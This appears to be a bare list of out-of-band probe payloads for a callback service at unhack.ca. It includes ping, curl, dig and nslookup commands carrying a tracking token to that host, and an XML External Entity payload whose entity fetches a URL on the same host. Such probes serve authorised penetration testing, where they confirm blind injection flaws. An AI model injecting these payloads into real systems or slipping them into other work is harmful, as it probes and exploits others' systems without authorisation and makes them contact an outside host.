$ ping -c1 -p 00785541a2608aef3b46108ffa1e9500 unhack.ca
 

$ curl http://unhack.ca/p/785541a2608aef3b46108ffa1e95
 

$ dig 785541a2608aef3b46108ffa1e95 @unhack.ca
 

$ dig 785541a2608aef3b46108ffa1e95.ns.unhack.ca
 

C:\> nslookup 785541a2608aef3b46108ffa1e95 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/785541a2608aef3b46108ffa1e95">]>
    <foo>&xxe;</foo>